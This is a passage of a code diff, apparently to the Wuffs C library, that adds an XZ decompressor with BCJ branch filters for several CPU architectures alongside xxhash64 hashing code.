v_buf_u64 = (((uint64_t)(v_buf_u64 << 31u)) | (v_buf_u64 >> 33u)); ++ v_buf_u64 *= 11400714785074694791u; ++ v_ret ^= v_buf_u64; ++ v_ret = (((uint64_t)(v_ret << 27u)) | (v_ret >> 37u)); ++ v_ret *= 11400714785074694791u; ++ v_ret += 9650029242287828579u; ++ v_i = 16u; ++ } ++ if (24u <= v_n) { ++ v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[16u])) | ++ (((uint64_t)(self->private_impl.f_buf_data[17u])) << 8u) | ++ (((uint64_t)(self->private_impl.f_buf_data[18u])) << 16u) | ++ (((uint64_t)(self->private_impl.f_buf_data[19u])) << 24u) | ++ (((uint64_t)(self->private_impl.f_buf_data[20u])) << 32u) | ++ (((uint64_t)(self->private_impl.f_buf_data[21u])) << 40u) | ++ (((uint64_t)(self->private_impl.f_buf_data[22u])) << 48u) | ++ (((uint64_t)(self->private_impl.f_buf_data[23u])) << 56u)); ++ v_buf_u64 *= 14029467366897019727u; ++ v_buf_u64 = (((uint64_t)(v_buf_u64 << 31u)) | (v_buf_u64 >> 33u)); ++ v_buf_u64 *= 11400714785074694791u; ++ v_ret ^= v_buf_u64; ++ v_ret = (((uint64_t)(v_ret << 27u)) | (v_ret >> 37u)); ++ v_ret *= 11400714785074694791u; ++ v_ret += 9650029242287828579u; ++ v_i = 24u; ++ } ++ if ((v_n & 4u) != 0u) { ++ v_i8 = (v_i & 24u); ++ v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[(v_i8 + 0u)])) | ++ (((uint32_t)(self->private_impl.f_buf_data[(v_i8 + 1u)])) << 8u) | ++ (((uint32_t)(self->private_impl.f_buf_data[(v_i8 + 2u)])) << 16u) | ++ (((uint32_t)(self->private_impl.f_buf_data[(v_i8 + 3u)])) << 24u)); ++ v_ret ^= ((uint64_t)(((uint64_t)(v_buf_u32)) * 11400714785074694791u)); ++ v_ret = (((uint64_t)(v_ret << 23u)) | (v_ret >> 41u)); ++ v_ret *= 14029467366897019727u; ++ v_ret += 1609587929392839161u; ++ v_i = (v_i8 + 4u); ++ } ++ while (v_i < v_n) { ++ v_ret ^= ((uint64_t)(((uint64_t)(self->private_impl.f_buf_data[v_i])) * 2870177450012600261u)); ++ v_ret = (((uint64_t)(v_ret << 11u)) | (v_ret >> 53u)); ++ v_ret *= 11400714785074694791u; ++ v_i += 1u; ++ } ++ v_ret ^= (v_ret >> 33u); ++ v_ret *= 14029467366897019727u; ++ v_ret ^= (v_ret >> 29u); ++ v_ret *= 1609587929392839161u; ++ v_ret ^= (v_ret >> 32u); ++ return ((uint64_t)(v_ret)); + } + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WBMP) ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH64) + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH32) ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XZ) + + // ---------------- Status Codes Implementations + +-// ---------------- Private Consts ++const char wuffs_xz__error__bad_bcj_offset[] = "#xz: bad BCJ offset"; ++const char wuffs_xz__error__bad_block_header[] = "#xz: bad block header"; ++const char wuffs_xz__error__bad_checksum[] = "#xz: bad checksum"; ++const char wuffs_xz__error__bad_filter[] = "#xz: bad filter"; ++const char wuffs_xz__error__bad_footer[] = "#xz: bad footer"; ++const char wuffs_xz__error__bad_header[] = "#xz: bad header"; ++const char wuffs_xz__error__bad_header_concatenated_stream[] = "#xz: bad header (concatenated stream)"; ++const char wuffs_xz__error__bad_index[] = "#xz: bad index"; ++const char wuffs_xz__error__bad_padding[] = "#xz: bad padding"; ++const char wuffs_xz__error__truncated_input[] = "#xz: truncated input"; ++const char wuffs_xz__error__unsupported_checksum_algorithm[] = "#xz: unsupported checksum algorithm"; ++const char wuffs_xz__error__unsupported_filter[] = "#xz: unsupported filter"; ++const char wuffs_xz__error__unsupported_filter_combination[] = "#xz: unsupported filter combination"; ++const char wuffs_xz__error__internal_error_inconsistent_bcj_filter_state[] = "#xz: internal error: inconsistent BCJ filter state"; + +-#define WUFFS_XXHASH32__XXH_PRIME32_1 2654435761 ++// ---------------- Private Consts + +-#define WUFFS_XXHASH32__XXH_PRIME32_2 2246822519 ++static const bool ++WUFFS_XZ__FILTER_04_X86_MASK_TO_ALLOWED_STATUS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 1u, 1u, 1u, 0u, 1u, 0u, 0u, 0u, ++}; + +-#define WUFFS_XXHASH32__XXH_PRIME32_3 3266489917 ++static const uint8_t ++WUFFS_XZ__FILTER_04_X86_MASK_TO_BIT_NUM[8] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 1u, 2u, 2u, 3u, 3u, 3u, 3u, ++}; + +-#define WUFFS_XXHASH32__XXH_PRIME32_4 668265263 ++static const uint32_t ++WUFFS_XZ__FILTER_04_X86_MASK_TO_XOR_OPERAND[8] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 4294967295u, 16777215u, 65535u, 65535u, 255u, 255u, 255u, 255u, ++}; + +-#define WUFFS_XXHASH32__XXH_PRIME32_5 374761393 ++static const uint8_t ++WUFFS_XZ__FILTER_06_IA64_BRANCH_TABLE[32] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 4u, 4u, 6u, 6u, 0u, 0u, 7u, 7u, ++ 4u, 4u, 0u, 0u, 4u, 4u, 0u, 0u, ++}; + +-#define WUFFS_XXHASH32__INITIAL_V0 606290984 ++#define WUFFS_XZ__QUIRKS_BASE 2021322752u + +-#define WUFFS_XXHASH32__INITIAL_V1 2246822519 ++static const uint8_t ++WUFFS_XZ__CHECKSUM_LENGTH[4] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 4u, 8u, 32u, ++}; + +-#define WUFFS_XXHASH32__INITIAL_V2 0 ++static const uint8_t ++WUFFS_XZ__ZEROES[3] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 0u, 0u, ++}; + +-#define WUFFS_XXHASH32__INITIAL_V3 1640531535 ++static const uint8_t ++WUFFS_XZ__BCJ_OFFSET_ALIGNMENT[12] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 0u, 0u, 0u, 1u, 4u, 16u, 4u, ++ 2u, 4u, 4u, 2u, ++}; + + // ---------------- Private Initializer Prototypes + + // ---------------- Private Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_xxhash32__hasher__up( +- wuffs_xxhash32__hasher* self, +- wuffs_base__slice_u8 a_x); ++static uint8_t ++wuffs_xz__decoder__apply_non_final_filters( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_non_final_filters__choosy_default( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_04_x86( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_05_powerpc( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_06_ia64( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_07_arm( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_08_armthumb( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_09_sparc( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_0a_arm64( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_0b_riscv( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_xz__decoder__do_transform_io( ++ wuffs_xz__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_xz__decoder__decode_block_header_with_padding( ++ wuffs_xz__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_xz__decoder__decode_block_header_sans_padding( ++ wuffs_xz__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_xz__decoder__verify_index( ++ wuffs_xz__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_xz__decoder__verify_footer( ++ wuffs_xz__decoder* self, ++ wuffs_base__io_buffer* a_src); + + // ---------------- VTables + +-const wuffs_base__hasher_u32__func_ptrs +-wuffs_xxhash32__hasher__func_ptrs_for__wuffs_base__hasher_u32 = { +- (uint32_t(*)(const void*))(&wuffs_xxhash32__hasher__checksum_u32), ++const wuffs_base__io_transformer__func_ptrs ++wuffs_xz__decoder__func_ptrs_for__wuffs_base__io_transformer = { ++ (wuffs_base__optional_u63(*)(const void*))(&wuffs_xz__decoder__dst_history_retain_length), + (uint64_t(*)(const void*, +- uint32_t))(&wuffs_xxhash32__hasher__get_quirk), ++ uint32_t))(&wuffs_xz__decoder__get_quirk), + (wuffs_base__status(*)(void*, + uint32_t, +- uint64_t))(&wuffs_xxhash32__hasher__set_quirk), +- (wuffs_base__empty_struct(*)(void*, +- wuffs_base__slice_u8))(&wuffs_xxhash32__hasher__update), +- (uint32_t(*)(void*, +- wuffs_base__slice_u8))(&wuffs_xxhash32__hasher__update_u32), ++ uint64_t))(&wuffs_xz__decoder__set_quirk), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__slice_u8))(&wuffs_xz__decoder__transform_io), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_xz__decoder__workbuf_len), + }; + + // ---------------- Initializer Implementations + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_xxhash32__hasher__initialize( +- wuffs_xxhash32__hasher* self, ++wuffs_xz__decoder__initialize( ++ wuffs_xz__decoder* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options){ +@@ -61482,23 +76592,53 @@ wuffs_xxhash32__hasher__initialize( + } + } + ++ self->private_impl.choosy_apply_non_final_filters = &wuffs_xz__decoder__apply_non_final_filters__choosy_default; ++ ++ { ++ wuffs_base__status z = wuffs_crc32__ieee_hasher__initialize( ++ &self->private_data.f_crc32, sizeof(self->private_data.f_crc32), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; ++ } ++ } ++ { ++ wuffs_base__status z = wuffs_crc64__ecma_hasher__initialize( ++ &self->private_data.f_crc64, sizeof(self->private_data.f_crc64), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; ++ } ++ } ++ { ++ wuffs_base__status z = wuffs_sha256__hasher__initialize( ++ &self->private_data.f_sha256, sizeof(self->private_data.f_sha256), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; ++ } ++ } ++ { ++ wuffs_base__status z = wuffs_lzma__decoder__initialize( ++ &self->private_data.f_lzma, sizeof(self->private_data.f_lzma), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; ++ } ++ } + self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__hasher_u32.vtable_name = +- wuffs_base__hasher_u32__vtable_name; +- self->private_impl.vtable_for__wuffs_base__hasher_u32.function_pointers = +- (const void*)(&wuffs_xxhash32__hasher__func_ptrs_for__wuffs_base__hasher_u32); ++ self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = ++ wuffs_base__io_transformer__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = ++ (const void*)(&wuffs_xz__decoder__func_ptrs_for__wuffs_base__io_transformer); + return wuffs_base__make_status(NULL); + } + +-wuffs_xxhash32__hasher* +-wuffs_xxhash32__hasher__alloc(void) { +- wuffs_xxhash32__hasher* x = +- (wuffs_xxhash32__hasher*)(calloc(sizeof(wuffs_xxhash32__hasher), 1)); ++wuffs_xz__decoder* ++wuffs_xz__decoder__alloc(void) { ++ wuffs_xz__decoder* x = ++ (wuffs_xz__decoder*)(calloc(1, sizeof(wuffs_xz__decoder))); + if (!x) { + return NULL; + } +- if (wuffs_xxhash32__hasher__initialize( +- x, sizeof(wuffs_xxhash32__hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ if (wuffs_xz__decoder__initialize( ++ x, sizeof(wuffs_xz__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { + free(x); + return NULL; + } +@@ -61506,18 +76646,511 @@ wuffs_xxhash32__hasher__alloc(void) { + } + + size_t +-sizeof__wuffs_xxhash32__hasher(void) { +- return sizeof(wuffs_xxhash32__hasher); ++sizeof__wuffs_xz__decoder(void) { ++ return sizeof(wuffs_xz__decoder); + } + + // ---------------- Function Implementations + +-// -------- func xxhash32.hasher.get_quirk ++// -------- func xz.decoder.apply_non_final_filters ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_non_final_filters( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice) { ++ return (*self->private_impl.choosy_apply_non_final_filters)(self, a_dst_slice); ++} ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_non_final_filters__choosy_default( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice) { ++ uint32_t v_f = 0; ++ uint64_t v_i = 0; ++ uint32_t v_filter_id = 0; ++ uint32_t v_delta_dist = 0; ++ uint32_t v_delta_pos = 0; ++ uint8_t v_c8 = 0; ++ ++ if (self->private_impl.f_num_non_final_filters <= 0u) { ++ return 0u; ++ } ++ v_f = (self->private_impl.f_num_non_final_filters - 1u); ++ while (true) { ++ v_filter_id = (self->private_impl.f_filters[v_f] & 127u); ++ if (v_filter_id == 3u) { ++ v_delta_dist = (((self->private_impl.f_filters[v_f] >> 8u) & 255u) + 1u); ++ v_delta_pos = (self->private_impl.f_filters[v_f] >> 24u); ++ v_i = 0u; ++ while (v_i < ((uint64_t)(a_dst_slice.len))) { ++ v_c8 = a_dst_slice.ptr[v_i]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_c8 += self->private_data.f_filter_data[v_f][(((uint32_t)(v_delta_dist + v_delta_pos)) & 255u)]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ self->private_data.f_filter_data[v_f][(v_delta_pos & 255u)] = v_c8; ++ v_delta_pos -= 1u; ++ a_dst_slice.ptr[v_i] = v_c8; ++ v_i += 1u; ++ } ++ self->private_impl.f_filters[v_f] &= 65535u; ++ self->private_impl.f_filters[v_f] |= ((uint32_t)(v_delta_pos << 24u)); ++ } ++ if (v_f <= 0u) { ++ break; ++ } ++ v_f -= 1u; ++ } ++ return 0u; ++} ++ ++// -------- func xz.decoder.apply_filter_04_x86 ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_04_x86( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice) { ++ wuffs_base__slice_u8 v_s = {0}; ++ uint32_t v_p = 0; ++ uint64_t v_i = 0; ++ uint64_t v_prev_pos = 0; ++ uint32_t v_prev_mask = 0; ++ uint8_t v_c8 = 0; ++ uint32_t v_src = 0; ++ uint32_t v_dst = 0; ++ uint32_t v_bit_num = 0; ++ ++ v_s = a_dst_slice; ++ v_p = ((uint32_t)(self->private_impl.f_bcj_pos + 5u)); ++ v_prev_pos = 18446744073709551615u; ++ v_prev_mask = self->private_impl.f_bcj_x86_prev_mask; ++ while (((uint64_t)(v_s.len)) >= 5u) { ++ if (((uint8_t)(v_s.ptr[0u] & 254u)) != 232u) { ++ v_i += 1u; ++ v_p += 1u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 1u); ++ continue; ++ } ++ v_prev_pos = ((uint64_t)(v_i - v_prev_pos)); ++ if (v_prev_pos > 3u) { ++ v_prev_mask = 0u; ++ } else if (v_prev_pos > 0u) { ++ v_prev_mask = (((uint32_t)(v_prev_mask << (v_prev_pos - 1u))) & 7u); ++ if (v_prev_mask != 0u) { ++ v_c8 = v_s.ptr[((uint8_t)(4u - WUFFS_XZ__FILTER_04_X86_MASK_TO_BIT_NUM[(v_prev_mask & 7u)]))]; ++ if ( ! WUFFS_XZ__FILTER_04_X86_MASK_TO_ALLOWED_STATUS[(v_prev_mask & 7u)] || (v_c8 == 0u) || (v_c8 == 255u)) { ++ v_prev_pos = v_i; ++ v_prev_mask = (((uint32_t)(v_prev_mask << 1u)) | 1u); ++ v_i += 1u; ++ v_p += 1u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 1u); ++ continue; ++ } ++ } ++ } ++ v_prev_pos = v_i; ++ v_c8 = v_s.ptr[4u]; ++ if ((v_c8 != 0u) && (v_c8 != 255u)) { ++ v_prev_mask = (((uint32_t)(v_prev_mask << 1u)) | 1u); ++ v_i += 1u; ++ v_p += 1u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 1u); ++ continue; ++ } ++ v_src = ((((uint32_t)(v_s.ptr[1u])) << 0u) | ++ (((uint32_t)(v_s.ptr[2u])) << 8u) | ++ (((uint32_t)(v_s.ptr[3u])) << 16u) | ++ (((uint32_t)(v_s.ptr[4u])) << 24u)); ++ while (true) { ++ v_dst = ((uint32_t)(v_src - v_p)); ++ if (v_prev_mask == 0u) { ++ break; ++ } ++ v_bit_num = ((uint32_t)(WUFFS_XZ__FILTER_04_X86_MASK_TO_BIT_NUM[(v_prev_mask & 7u)])); ++ v_c8 = ((uint8_t)((v_dst >> (24u - (v_bit_num * 8u))))); ++ if ((v_c8 != 0u) && (v_c8 != 255u)) { ++ break; ++ } ++ v_src = (v_dst ^ WUFFS_XZ__FILTER_04_X86_MASK_TO_XOR_OPERAND[(v_prev_mask & 7u)]); ++ } ++ v_dst &= 33554431u; ++ v_dst |= ((uint32_t)(0u - (v_dst & 16777216u))); ++ v_s.ptr[1u] = ((uint8_t)((v_dst >> 0u))); ++ v_s.ptr[2u] = ((uint8_t)((v_dst >> 8u))); ++ v_s.ptr[3u] = ((uint8_t)((v_dst >> 16u))); ++ v_s.ptr[4u] = ((uint8_t)((v_dst >> 24u))); ++ v_i += 5u; ++ v_p += 5u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 5u); ++ } ++ v_prev_pos = ((uint64_t)(v_i - v_prev_pos)); ++ if (v_prev_pos > 3u) { ++ self->private_impl.f_bcj_x86_prev_mask = 0u; ++ } else if (v_prev_pos > 0u) { ++ self->private_impl.f_bcj_x86_prev_mask = ((uint32_t)(v_prev_mask << (v_prev_pos - 1u))); ++ } ++ self->private_impl.f_bcj_pos = ((uint32_t)(v_p - 5u)); ++ return ((uint8_t)(((uint64_t)(v_s.len)))); ++} ++ ++// -------- func xz.decoder.apply_filter_05_powerpc ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_05_powerpc( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice) { ++ wuffs_base__slice_u8 v_s = {0}; ++ uint32_t v_p = 0; ++ uint32_t v_x = 0; ++ ++ v_s = a_dst_slice; ++ v_p = self->private_impl.f_bcj_pos; ++ while (((uint64_t)(v_s.len)) >= 4u) { ++ v_x = ((((uint32_t)(v_s.ptr[0u])) << 24u) | ++ (((uint32_t)(v_s.ptr[1u])) << 16u) | ++ (((uint32_t)(v_s.ptr[2u])) << 8u) | ++ (((uint32_t)(v_s.ptr[3u])) << 0u)); ++ if ((v_x & 4227858435u) == 1207959553u) { ++ v_x = ((((uint32_t)((v_x & 67108860u) - v_p)) & 67108860u) | 1207959553u); ++ v_s.ptr[0u] = ((uint8_t)((v_x >> 24u))); ++ v_s.ptr[1u] = ((uint8_t)((v_x >> 16u))); ++ v_s.ptr[2u] = ((uint8_t)((v_x >> 8u))); ++ v_s.ptr[3u] = ((uint8_t)((v_x >> 0u))); ++ } ++ v_p += 4u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); ++ } ++ self->private_impl.f_bcj_pos = v_p; ++ return ((uint8_t)(((uint64_t)(v_s.len)))); ++} ++ ++// -------- func xz.decoder.apply_filter_06_ia64 ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_06_ia64( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice) { ++ wuffs_base__slice_u8 v_s = {0}; ++ uint32_t v_p = 0; ++ uint32_t v_mask = 0; ++ uint32_t v_slot = 0; ++ uint32_t v_bit_pos = 0; ++ uint32_t v_byte_pos = 0; ++ uint32_t v_bit_res = 0; ++ uint64_t v_x = 0; ++ uint32_t v_j = 0; ++ uint64_t v_norm = 0; ++ uint32_t v_addr = 0; ++ ++ v_s = a_dst_slice; ++ v_p = self->private_impl.f_bcj_pos; ++ while (((uint64_t)(v_s.len)) >= 16u) { ++ v_mask = ((uint32_t)(WUFFS_XZ__FILTER_06_IA64_BRANCH_TABLE[((uint8_t)(v_s.ptr[0u] & 31u))])); ++ v_slot = 0u; ++ while (true) { ++ do { ++ if (((v_mask >> v_slot) & 1u) == 0u) { ++ break; ++ } ++ v_bit_pos = ((v_slot * 41u) + 5u); ++ v_byte_pos = (v_bit_pos >> 3u); ++ v_bit_res = (v_bit_pos & 7u); ++ v_x = 0u; ++ v_j = 0u; ++ while (v_j < 6u) { ++ v_x |= (((uint64_t)(v_s.ptr[(v_j + v_byte_pos)])) << (8u * v_j)); ++ v_j += 1u; ++ } ++ v_norm = (v_x >> v_bit_res); ++ if ((((v_norm >> 37u) & 15u) != 5u) || (((v_norm >> 9u) & 7u) != 0u)) { ++ break; ++ } ++ v_addr = ((uint32_t)(((v_norm >> 13u) & 1048575u))); ++ v_addr |= (((uint32_t)(((v_norm >> 36u) & 1u))) << 20u); ++ v_addr <<= 4u; ++ v_addr -= v_p; ++ v_addr >>= 4u; ++ v_norm &= 18446743996400148479u; ++ v_norm |= (((uint64_t)((v_addr & 1048575u))) << 13u); ++ v_norm |= (((uint64_t)((v_addr & 1048576u))) << 16u); ++ v_x &= ((((uint64_t)(1u)) << v_bit_res) - 1u); ++ v_x |= ((uint64_t)(v_norm << v_bit_res)); ++ v_j = 0u; ++ while (v_j < 6u) { ++ v_s.ptr[(v_j + v_byte_pos)] = ((uint8_t)((v_x >> (8u * v_j)))); ++ v_j += 1u; ++ } ++ } while (0); ++ if (v_slot >= 2u) { ++ break; ++ } ++ v_slot += 1u; ++ } ++ v_p += 16u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 16u); ++ } ++ self->private_impl.f_bcj_pos = v_p; ++ return ((uint8_t)(((uint64_t)(v_s.len)))); ++} ++ ++// -------- func xz.decoder.apply_filter_07_arm ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_07_arm( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice) { ++ wuffs_base__slice_u8 v_s = {0}; ++ uint32_t v_p = 0; ++ uint32_t v_x = 0; ++ ++ v_s = a_dst_slice; ++ v_p = ((uint32_t)(self->private_impl.f_bcj_pos + 8u)); ++ while (((uint64_t)(v_s.len)) >= 4u) { ++ if (v_s.ptr[3u] == 235u) { ++ v_x = ((((uint32_t)(v_s.ptr[0u])) << 0u) | ++ (((uint32_t)(v_s.ptr[1u])) << 8u) | ++ (((uint32_t)(v_s.ptr[2u])) << 16u) | ++ (((uint32_t)(v_s.ptr[3u])) << 24u)); ++ v_x = (((uint32_t)(((v_x & 16777215u) << 2u) - v_p)) >> 2u); ++ v_s.ptr[0u] = ((uint8_t)((v_x >> 0u))); ++ v_s.ptr[1u] = ((uint8_t)((v_x >> 8u))); ++ v_s.ptr[2u] = ((uint8_t)((v_x >> 16u))); ++ } ++ v_p += 4u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); ++ } ++ self->private_impl.f_bcj_pos = ((uint32_t)(v_p - 8u)); ++ return ((uint8_t)(((uint64_t)(v_s.len)))); ++} ++ ++// -------- func xz.decoder.apply_filter_08_armthumb ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_08_armthumb( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice) { ++ wuffs_base__slice_u8 v_s = {0}; ++ uint32_t v_p = 0; ++ uint32_t v_x = 0; ++ uint32_t v_y = 0; ++ ++ v_s = a_dst_slice; ++ v_p = ((uint32_t)(self->private_impl.f_bcj_pos + 4u)); ++ while (((uint64_t)(v_s.len)) >= 4u) { ++ v_x = ((((uint32_t)(v_s.ptr[0u])) << 0u) | ++ (((uint32_t)(v_s.ptr[1u])) << 8u) | ++ (((uint32_t)(v_s.ptr[2u])) << 16u) | ++ (((uint32_t)(v_s.ptr[3u])) << 24u)); ++ if ((v_x & 4160813056u) != 4160811008u) { ++ v_p += 2u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 2u); ++ continue; ++ } ++ v_y = ((((uint32_t)(((uint8_t)(v_s.ptr[0u] & 255u)))) << 11u) | ++ (((uint32_t)(((uint8_t)(v_s.ptr[1u] & 7u)))) << 19u) | ++ (((uint32_t)(((uint8_t)(v_s.ptr[2u] & 255u)))) << 0u) | ++ (((uint32_t)(((uint8_t)(v_s.ptr[3u] & 7u)))) << 8u)); ++ v_y = (((uint32_t)(((uint32_t)(v_y << 1u)) - v_p)) >> 1u); ++ v_s.ptr[0u] = ((uint8_t)((v_y >> 11u))); ++ v_s.ptr[1u] = ((uint8_t)((((v_y >> 19u) & 7u) | 240u))); ++ v_s.ptr[2u] = ((uint8_t)((v_y >> 0u))); ++ v_s.ptr[3u] = ((uint8_t)((((v_y >> 8u) & 7u) | 248u))); ++ v_p += 4u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); ++ } ++ self->private_impl.f_bcj_pos = ((uint32_t)(v_p - 4u)); ++ return ((uint8_t)(((uint64_t)(v_s.len)))); ++} ++ ++// -------- func xz.decoder.apply_filter_09_sparc ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_09_sparc( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice) { ++ wuffs_base__slice_u8 v_s = {0}; ++ uint32_t v_p = 0; ++ uint32_t v_x = 0; ++ ++ v_s = a_dst_slice; ++ v_p = self->private_impl.f_bcj_pos; ++ while (((uint64_t)(v_s.len)) >= 4u) { ++ v_x = ((((uint32_t)(v_s.ptr[0u])) << 24u) | ++ (((uint32_t)(v_s.ptr[1u])) << 16u) | ++ (((uint32_t)(v_s.ptr[2u])) << 8u) | ++ (((uint32_t)(v_s.ptr[3u])) << 0u)); ++ if (((v_x >> 22u) == 256u) || ((v_x >> 22u) == 511u)) { ++ v_x = (((uint32_t)(((uint32_t)(v_x << 2u)) - v_p)) >> 2u); ++ v_x = ((1073741824u - (v_x & 4194304u)) | 1073741824u | (v_x & 4194303u)); ++ v_s.ptr[0u] = ((uint8_t)((v_x >> 24u))); ++ v_s.ptr[1u] = ((uint8_t)((v_x >> 16u))); ++ v_s.ptr[2u] = ((uint8_t)((v_x >> 8u))); ++ v_s.ptr[3u] = ((uint8_t)((v_x >> 0u))); ++ } ++ v_p += 4u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); ++ } ++ self->private_impl.f_bcj_pos = v_p; ++ return ((uint8_t)(((uint64_t)(v_s.len)))); ++} ++ ++// -------- func xz.decoder.apply_filter_0a_arm64 ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_0a_arm64( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice) { ++ wuffs_base__slice_u8 v_s = {0}; ++ uint32_t v_p = 0; ++ uint32_t v_x = 0; ++ uint32_t v_y = 0; ++ ++ v_s = a_dst_slice; ++ v_p = self->private_impl.f_bcj_pos; ++ while (((uint64_t)(v_s.len)) >= 4u) { ++ v_x = ((((uint32_t)(v_s.ptr[0u])) << 0u) | ++ (((uint32_t)(v_s.ptr[1u])) << 8u) | ++ (((uint32_t)(v_s.ptr[2u])) << 16u) | 